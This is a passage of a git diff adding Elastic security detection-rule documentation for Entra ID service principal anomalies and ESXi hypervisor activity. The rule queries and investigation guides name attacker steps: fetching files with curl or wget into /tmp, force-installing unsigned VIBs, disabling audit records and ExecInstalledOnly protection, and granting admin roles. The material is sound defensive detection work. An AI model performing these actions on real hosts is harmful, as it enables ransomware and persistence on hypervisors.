Source of Activity: Review `source.ip` and `user_agent.original` fields to assess whether the request came from a trusted network or device. Unexpected geolocations, hosting providers, or Linux CLI-based user agents may indicate unauthorized activity. + + +*False Positive Analysis* + +- Routine Administrative Tasks: This alert may trigger when legitimate administrators or DevOps engineers rotate credentials for service principals as part of normal operations. +- First-Time Actions by Known Accounts: If a new user joins the team or an existing user is performing this task for the first time in the observed period, it may be expected behavior. Verify with the relevant team. + + +*Response and Remediation* + +- Revoke Unauthorized Credentials: If suspicious, disable or delete the newly added service principal credential immediately. +- Investigate User Account: Review the login history, IP address usage, and other activity from the initiating user to determine whether the account is compromised. +- Audit Affected Service Principal: Evaluate the permissions granted to the service principal to understand the potential impact of misuse. +- Review RBAC and Least Privilege: Ensure that only authorized identities have permission to add credentials to service principals. Tighten IAM role definitions if necessary. +- Enable Just-in-Time or Approval-Based Access: Consider implementing access control policies that require approvals for modifying service principals or adding credentials. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" + and azure.auditlogs.operation_name:"Add service principal credentials" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-service-principal-with-unusual-source-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-service-principal-with-unusual-source-asn.asciidoc new file mode 100644 index 0000000000..031d0c2000 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-service-principal-with-unusual-source-asn.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-36-entra-id-service-principal-with-unusual-source-asn]] +=== Entra ID Service Principal with Unusual Source ASN + +Identifies Entra ID service principal sign-ins where the workload identity and source autonomous system number (ASN) together have not appeared in recent history. Attackers who obtain application secrets or tokens often authenticate from unfamiliar hosting providers, residential or VPN egress, or networks outside normal automation footprints, which can precede data access, lateral movement, or ransomware activity in the tenant. The detection emphasizes first-seen network context for non-interactive workload identities. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-65m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://learn.microsoft.com/en-us/entra/identity/conditional-access/workload-identities +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-3-from-compromis +* https://www.huntress.com/blog/vendor-credential-enables-unauthorized-access + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal with Unusual Source ASN* + + +This rule matches successful **ServicePrincipalSignInLogs** events where `azure.signinlogs.properties.service_principal_id` +and `source.as.number` together have not appeared in the rule history window. It is a first-seen network path signal for +the workload identity, not proof of compromise by itself. + + +*Possible investigation steps* + + +- Confirm the event is **ServicePrincipalSignInLogs** with a successful outcome and review `azure.signinlogs.properties.status.error_code` on the source document if needed. +- Identify the application using `azure.signinlogs.properties.app_display_name`, `azure.signinlogs.properties.app_id`, and `azure.signinlogs.properties.service_principal_id`. In Entra ID, review the enterprise application or app registration (first-party, partner, or internal automation). +- Review `source.ip`, `source.as.organization.name`, `source.as.number`, and `source.geo.*` against the owning team’s expected regions, cloud subscriptions, and CI/CD or automation footprint. +- Compare `@timestamp` to maintenance windows, releases, and planned infrastructure changes. +- Where possible, enrich `source.ip` with internal CMDB, cloud asset inventory, or threat intelligence (residential or low-reputation ASNs warrant more scrutiny than a known cloud provider already used by this app). +- In Entra sign-in logs, pivot on the same `service_principal_id` or `app_id` and review prior successful sign-ins for typical ASNs and egress patterns; a one-off path may be a new pipeline or stolen credentials used from a new host. +- Review Entra audit logs for recent changes to this application: client secrets, certificates, federated credentials, owners, API permissions, or app role assignments, especially shortly before the alert. +- Query Azure Activity, Microsoft Graph, or workload-specific logs after the sign-in time using `azure.signinlogs.properties.correlation_id` or `session_id` when present to see what resources the identity accessed (subscriptions, Key Vault, mail, privileged roles). +- Search for related alerts in the same time window involving the same `app_id` or `source.ip` (for example OAuth abuse, consent, Arc or Kubernetes access, or directory role changes). +- Note that the rule query excludes Microsoft-labeled `source.as.organization.name` values; high-value investigations should also review raw sign-in data for suspicious activity that only appears under those labels. + + +*False positive analysis* + + +- New regions, subscriptions, GitHub Actions or Azure DevOps pools, DR exercises, or vendor migrations can produce a legitimate first-seen ASN for the service principal. Validate with the owner and document expected paths before excluding. +- Amazon- and Google-labeled ASNs are in scope by design; adversaries may egress through AWS or GCP. Expect more noise from legitimate automation in those clouds and prefer allowlisting reviewed `app_id` or automation accounts over disabling the rule. +- GeoIP or ASN enrichment updates can occasionally produce a one-time new tuple; compare to historical events for the same IP if available. + + +*Response and remediation* + + +- If the path is unexpected and risky audit activity preceded the sign-in, treat as a potential credential incident: rotate application secrets and certificates, revoke sessions or tokens as applicable, and review Conditional Access and workload identity policies for the application. +- Review and reduce API permissions, OAuth scopes, and directory or subscription roles granted to the application; remove unused access. +- Document approved automation and network baselines so repeat first-seen ASN alerts can be triaged faster. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs + and azure.signinlogs.category:ServicePrincipalSignInLogs + and azure.signinlogs.properties.status.error_code:0 + and azure.signinlogs.properties.service_principal_id:* + and source.as.number:* + and not source.as.organization.name:(*MICROSOFT* or *Microsoft*) + and not azure.signinlogs.properties.app_owner_tenant_id:(72f988bf-86f1-41af-91ab-2d7cd011db47 or f8cdef31-a31e-4b4a-93e4-5f571e91255a) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-account-granted-admin-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-account-granted-admin-role.asciidoc new file mode 100644 index 0000000000..ab4e1f0efa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-account-granted-admin-role.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-36-esxi-account-granted-admin-role]] +=== ESXi Account Granted Admin Role + +Detects an ESXi account being granted the Administrator role. Administrator is full control of the host, including the firewall, SSH, accounts, and every virtual machine. Granting it to another account keeps that access after the original session ends. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Account Granted Admin Role* + + +Admin on a standalone ESXi host can change the firewall, syslog, SSH, and every virtual machine. Granting that role to an unexpected account is a persistence path that survives the interactive session. + + +*Possible investigation steps* + + +- Read the account name in message. The shell form uses --id. The hostd form is Permission created for . +- Compare that name with known ESXi accounts (root, dcui, vpxuser, and approved operators). +- Look for a preceding Account was created or esxcli system account add for the same id. +- Check whether that account was used for SSH or further esxcli commands. + + +*False positive analysis* + + +Joiner automation and break-glass account setup grant Admin on purpose. The account id should match a ticket. + + +*Response and remediation* + + +- If the account is unknown, remove the permission and the account: esxcli system permission unset and esxcli system account remove. +- Rotate credentials that were exposed in the same session. +- Hunt other hosts for the same account id. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and event.module:vsphere and message:("system permission set" and ("--role Admin" or "--role=Admin") or "Permission created" and "role is Administrator") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-attempt-to-force-install-a-vmware-vib-package.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-attempt-to-force-install-a-vmware-vib-package.asciidoc new file mode 100644 index 0000000000..ec8f909201 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-attempt-to-force-install-a-vmware-vib-package.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-36-esxi-attempt-to-force-install-a-vmware-vib-package]] +=== ESXi Attempt to Force Install a VMware VIB Package + +Detects an attempt to install a VMware VIB with `--force`. A VIB is how ESXi adds drivers and host software, and signature checks normally block an unsigned package. `--force` skips that validation, so an untrusted package can be written onto the hypervisor and affect every virtual machine it runs. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Attempt to Force Install a VMware VIB Package* + + +esxcli software vib install --force writes the package even when its signature or acceptance level would block it. The shell records the command in shell.log, including attempts that fail because the file is missing. + + +*Possible investigation steps* + + +- Read the VIB path in message (-v, -d, or --viburl). A path under /tmp is worth a closer look. +- On the host, run esxcli software vib list and compare new packages with the approved image. +- Check the same session for ExecInstalledOnly set to FALSE and SSH being enabled. + + +*False positive analysis* + + +A forced install of a known vendor VIB during an approved window can be expected. The package name should match the ticket. + + +*Response and remediation* + + +- If the package was not approved, remove it with esxcli software vib remove and review files left under /tmp. +- Set ExecInstalledOnly back to TRUE if it was turned off in the same session. +- Preserve shell.log before rotating credentials. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and event.module:vsphere and message:("vib install" and ("--force" or "-f" or "--no-sig-check")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Code Signing Policy Modification +** ID: T1553.006 +** Reference URL: https://attack.mitre.org/techniques/T1553/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-audit-records-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-audit-records-disabled.asciidoc new file mode 100644 index 0000000000..c2b086f459 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-audit-records-disabled.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-36-esxi-audit-records-disabled]] +=== ESXi Audit Records Disabled + +Detects ESXi audit record transmission being turned off, locally or to a remote collector. Audit records are the host's own trail of administrative changes. Disabling them means later changes to accounts, the firewall, and SSH are not recorded there. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Audit Records Disabled* + + +ESXi audit records capture administrative changes. Turning off local or remote transmission hides the commands that follow, including firewall, account, and VM actions. + + +*Possible investigation steps* + + +- Read message to see whether local or remote transmission was disabled. +- Check for a later auditrecords command that sets --enabled true. +- Correlate with syslog reset, firewall changes, and VM shutdowns. + + +*False positive analysis* + + +A collector outage can include a temporary disable. The setting should be turned back on in the same change. + + +*Response and remediation* + + +- Re-enable local and remote audit transmission. +- Review shell and hostd logs for commands issued while auditing was off. +- If the disable was unauthorized, isolate the host and rotate credentials. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and message:(auditrecords and ("--enabled false" or "--enabled=false" or "local disable" or "remote disable")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-curl-or-wget-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-curl-or-wget-activity.asciidoc new file mode 100644 index 0000000000..44f1db9ed5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-curl-or-wget-activity.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-36-esxi-curl-or-wget-activity]] +=== ESXi Curl or Wget Activity + +Detects `curl` or `wget` from the ESXi shell. These tools download a file or contact a remote URL from the hypervisor. A successful transfer can place a package or script on the host, often under `/tmp`, where a later command can execute it against the datastore. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Curl or Wget Activity* + + +curl and wget download a file or check a URL from the ESXi shell. The shell log records the command even when the binary is missing or the host has no route to the destination. + + +*Possible investigation steps* + + +- Read the URL and output path in message. +- Check the same session for a file under /tmp, chmod, or execution of the downloaded file. +- Confirm the URL with the virtualization owner. + + +*False positive analysis* + + +A documented download of a vendor package is commonly benign. A download of an unknown file into /tmp, followed by chmod, deserves review. + + +*Response and remediation* + + +- If the download was not approved, remove the file and end the shell session. +- Preserve shell.log and review commands issued after the download. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "vsphere.log" and event.module: "vsphere" and message: ("curl" or "wget") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-discovery-via-grep.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-discovery-via-grep.asciidoc new file mode 100644 index 0000000000..8641301bf3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-discovery-via-grep.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-36-esxi-discovery-via-grep]] +=== ESXI Discovery via Grep + +Identifies instances where a process named 'grep', 'egrep', or 'pgrep' is started on a Linux system with arguments related to virtual machine (VM) files, such as "vmdk", "vmx", "vmxf", "vmsd", "vmsn", "vswp", "vmss", "nvram", or "vmem". These file extensions are associated with VM-related file formats, and their presence in grep command arguments may indicate that a threat actor is attempting to search for, analyze, or manipulate VM files on the system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ESXI Discovery via Grep* + + +In Linux environments, tools like 'grep' are used to search through files for specific patterns. Adversaries may exploit these tools to locate and analyze virtual machine files, which are crucial for ESXi environments. The detection rule identifies suspicious use of 'grep' variants targeting VM file extensions, signaling potential reconnaissance or manipulation attempts by threat actors. This rule helps in early detection of such malicious activities by monitoring process execution patterns. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of 'grep', 'egrep', or 'pgrep' with arguments related to VM file extensions such as "vmdk", "vmx", "vmxf", "vmsd", "vmsn", "vswp", "vmss", "nvram", or "vmem". +- Check the parent process of the suspicious 'grep' command to determine if it is a legitimate process or potentially malicious, ensuring it is not "/usr/share/qemu/init/qemu-kvm-init". +- Investigate the user account associated with the process execution to assess if the activity aligns with their typical behavior or if it appears anomalous. +- Examine recent system logs and other security alerts for additional indicators of compromise or related suspicious activities on the host. +- Assess the network activity from the host to identify any unusual connections or data exfiltration attempts that may correlate with the discovery activity. + + +*False positive analysis* + + +- System administrators or automated scripts may use grep to search for VM-related files as part of routine maintenance or monitoring tasks. To handle this, create exceptions for known administrative scripts or processes by excluding specific parent processes or user accounts. +- Backup or snapshot management tools might invoke grep to verify the presence of VM files. Identify these tools and exclude their process names or paths from the detection rule to prevent false alerts. +- Developers or IT staff conducting legitimate audits or inventory checks on VM files may trigger this rule. Consider excluding specific user accounts or groups that are authorized to perform such activities. +- Security tools or monitoring solutions that perform regular checks on VM files could also cause false positives. Whitelist these tools by excluding their executable paths or process names from the rule. + + +*Response and remediation* + + +- Isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, specifically those involving 'grep', 'egrep', or 'pgrep' with VM-related file extensions. +- Conduct a thorough review of the system's recent process execution history and file access logs to identify any unauthorized access or changes to VM files. +- Restore any compromised or altered VM files from a known good backup to ensure system integrity and continuity. +- Implement stricter access controls and permissions on VM-related files to limit exposure to unauthorized users or processes. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update and enhance monitoring rules to detect similar patterns of suspicious activity, ensuring early detection of future threats. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started", "ProcessRollup2") and +process.name in ("grep", "egrep", "pgrep") and +process.args in ("vmdk", "vmx", "vmxf", "vmsd", "vmsn", "vswp", "vmss", "nvram", "vmem") and +not ?process.parent.executable == "/usr/share/qemu/init/qemu-kvm-init" and +not ?process.parent.executable == "/etc/sysconfig/modules/kvm.modules" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-execinstalledonly-protection-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-execinstalledonly-protection-disabled.asciidoc new file mode 100644 index 0000000000..04427ccc8e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-execinstalledonly-protection-disabled.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-36-esxi-execinstalledonly-protection-disabled]] +=== ESXi ExecInstalledOnly Protection Disabled + +Detects ESXi ExecInstalledOnly protection being turned off. The setting limits execution to binaries that were installed by a VIB and have not been modified. When it is set to false, the host can run files from paths such as `/tmp` that were never part of the system image. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi ExecInstalledOnly Protection Disabled* + + +ExecInstalledOnly limits execution to binaries that were installed by a VIB and have not been modified. Turning it off lets a later payload run from a path such as /tmp. + + +*Possible investigation steps* + + +- Read message for execInstalledOnly set to FALSE, or /User/ExecInstalledOnly set with -i 0. +- On the host, run esxcli system settings kernel list -o execInstalledOnly and compare Configured with Runtime. +- Look for a following vib install with --force, a chmod that adds execute permission, or a file launched from /tmp. + + +*False positive analysis* + + +A documented install of an unsigned vendor VIB can disable the setting for the duration of the change. The setting should be TRUE when the work is finished. + + +*Response and remediation* + + +- If the change was not approved, set the control back on: esxcli system settings kernel set -s execInstalledOnly -v TRUE. +- Review VIBs installed in the same session with esxcli software vib list. +- Preserve shell.log before rotating credentials. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and event.module:vsphere and message:(execInstalledOnly and ("-i 0" or "-v 0" or FALSE)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-file-made-executable-with-chmod.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-file-made-executable-with-chmod.asciidoc new file mode 100644 index 0000000000..e11db0c930 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-file-made-executable-with-chmod.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-36-esxi-file-made-executable-with-chmod]] +=== ESXi File Made Executable with chmod + +Detects chmod making a file executable on an ESXi host, including `+x` and numeric modes such as `755` and `777`. The host will not run a file until the execute bit is set. Making a file under `/tmp` executable is the step that 